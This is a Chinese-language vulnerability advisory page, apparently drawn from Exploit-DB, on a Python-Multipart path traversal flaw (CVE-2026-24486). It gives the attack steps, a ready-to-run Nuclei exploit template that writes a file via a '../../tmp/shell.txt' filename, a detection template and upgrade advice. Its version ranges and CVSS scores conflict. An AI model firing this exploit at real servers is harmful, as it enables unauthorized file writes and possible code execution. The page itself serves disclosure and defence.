[webapps] Python-Multipart 0.0.22 - Path Traversal
CVE-2026-24486
Python-Multipart 0.0.22 解析 multipart 请求时因文件名验证不足导致路径遍历。
High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5)📋 漏洞基础信息
| CVE | CVE-2026-24486 |
|---|---|
| 漏洞类型 | 路径遍历 (Path Traversal) |
| 受影响版本 | Python-Multipart 0.0.22 及可能更早版本 |
| 危害等级 | High · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5) |
| 发布日期 | 2026-04-30 |
| 提交者 | cardosource |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
在 multipart/form-data 请求中,处理 filename 参数的逻辑未正确过滤或规范化类似 '../' 的相对路径序列,使得攻击者可以通过构造恶意文件名将文件写入上传目录之外的任意路径。
🎯 攻击场景
1. 攻击者向使用 Python-Multipart 0.0.22 的 Web 应用发送一个 multipart/form-data POST 请求;2. 在某个表单字段的 filename 参数中插入路径遍历序列(例如:../../etc/passwd);3. 服务器端的上传代码调用 multipart 库解析该字段,并将内容写入由该 filename 指定的路径;4. 攻击成功后,文件被写入服务器文件系统的预期之外的目录(例如 /etc/passwd 被覆盖或追加内容)。
💥 漏洞影响
攻击者可读取或写入服务器文件系统上任意位置的文件,可能导致敏感信息泄露、代码执行(例如覆盖 .py 或 .conf 文件)、权限提升或系统后门植入。
⚔️ Nuclei Exploit 模板
以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:
id: CVE-2026-24486-exploit
info:
name: Python-Multipart 0.0.22 - Path Traversal Exploit
author: cardosource
severity: high
description: Exploits a path traversal vulnerability in Python-Multipart < 0.0.22 when UPLOAD_KEEP_FILENAME=True is set. Uploads a malicious file with a path traversal payload to write arbitrary content to the filesystem.
reference:
- https://github.com/Kludex/python-multipart
classification:
cvss-score: 8.1
cve-id: CVE-2026-24486
tags: cve,cve2026,python,multipart,path-traversal,rce
variables:
cmd: 'id'
http:
- raw:
- |
POST {{BaseURL}}/upload HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="../../tmp/shell.txt"
Content-Type: text/plain
{{cmd}}
------WebKitFormBoundary7MA4YWxkTrZu0gW--
- |
GET {{BaseURL}}/../../tmp/shell.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'uid='
- 'gid='
- 'groups='
condition: or
part: body🔍 Nuclei Detection 模板
以下为漏洞探测模板,用于判断目标是否受影响:
id: CVE-2026-24486-detection
info:
name: Python-Multipart 0.0.22 - Path Traversal Detection
author: cardosource
severity: high
description: Python-Multipart versions < 0.0.22 are vulnerable to path traversal when UPLOAD_KEEP_FILENAME=True is set. An attacker can write arbitrary files to the filesystem via a malicious filename.
reference:
- https://github.com/Kludex/python-multipart
classification:
cvss-score: 8.1
cve-id: CVE-2026-24486
tags: cve,cve2026,python,multipart,path-traversal
http:
- method: GET
path:
- '{{BaseURL}}/upload'
matchers-condition: and
matchers:
- type: word
words:
- 'Upload'
- 'upload'
- 'file'
condition: or
- type: status
status:
- 200
- 405
- 302🛡️ 修复建议
升级至 Python-Multipart 0.0.23 或更高版本;临时缓解措施:在应用层对上传文件名进行白名单校验或路径规范化(如使用 os.path.basename 并拒绝包含 '..' 或绝对路径的输入)。
📎 参考链接
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24486
- https://github.com/andrew-d/python-multipart
- Exploit-DB 原文
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:39 | 来源: Exploit-DB